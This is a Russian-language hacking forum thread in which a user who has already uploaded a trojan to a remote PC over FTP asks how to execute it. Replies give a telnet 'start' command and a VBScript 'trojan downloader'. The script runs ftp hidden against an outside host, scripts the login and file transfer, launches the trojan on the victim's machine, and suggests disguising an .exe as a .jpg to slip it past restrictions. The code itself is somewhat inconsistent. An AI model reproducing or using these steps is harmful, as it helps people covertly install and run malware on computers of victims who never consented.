СMD FTP

[jeckas]

ни как не могу понять как запустить файл на удаленном пк через cmd>ftp.
Сделал:
Cmd > Ftp > open ipadress 21 > user, password > send file(троян) > а вот как его запустить не могу понять

[M@ZAX@KEP]

Через ftp нельзя запустить файл. Это тебе не telnet.

[jeckas]

так это не проблема, 23 порт тоже открыт, только я никогда не имел дело с открытием файла на удаленном компе, в интернете уже все прочитал но так ничего и не нашел, может поможешь?

[M@ZAX@KEP]

jeckas, если есть доступ к telnet, то подключаешься и тупо:

code:

start C:\Path\to\your\file.exe

[jeckas]

Да, но ведь когда пишу cmd > telnet > open ipadress > то открывается как бы сказать рутер а там это команда не валидно.

[MOV_EAX]

jeckas

По умолчанию в операционной системе Windows Vista/7 не установлены программы Telnet и TFTP
смотреть тут (https://hpc.name/redirector.html#http://zyxel.ru/kb/1645)

,а если хочешь запустить троя через фтп то vbs тебе в помощь
1.создаем объект
2.запускаем ftp локально
3.где 213.180.199.127 ip адрес твоего хоста на моем примере это народ.ру где 0,false запуск троя в скрытом режиме ,а если поставишь 1 то будет не в скрытом режиме то есть консоль cmd будет видна
4.объявляем переменные на папки и файлы ,если будут
5.создаем текстовый файл для записи логина и пароля от ftp на народе.ру для авторизации
6.если put то закачка файла будет на ftp ,если get то на комп жертвы вроде все
7.по желанию можно троя запустить сразу после закачки с ftp нараод.ру то тогда надо добавить эти строки WScript.Sleep(3400) скрипт будет отдыхать в милисикундах пока не загрузится файл с ftp можно поставить больше (5500) далее запускаем самого троя с ftpWshShell.Run "troj.bat" все эти строки добавим в сам скрипт и получился у нас трой довнлоадер фтп спасибо за внимание

PHP highlight



Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run"ftp -s:troj.bat -i 213.180.199.127",0,false

Dim fso,FileName,FolderName,Text,file,Folder
Set fso=CreateObject("Scripting.FileSystemObject")

Set Text=fso.CreateTextFile("log.txt")

Text.WriteLine"логин на народе.ру"

Text.WriteLine"пасс на народе.ру "

Text.WriteLine"cd public_html"

Text.WriteLine"lcd"

Text.WriteLine"put troj.bat"

Text.WriteLine"quit "
Text.Close





- не возможно будет запустить файл с расширением .ехе с фтп с народа.ру только бат файл или делайте по хитрому прячьте .ехе в jpg и при загрузке по времени меняйте расширение с jpg на .ехе с помощью функции MoveFile.

с вами был MOV_EAX.

[jeckas]

спасибо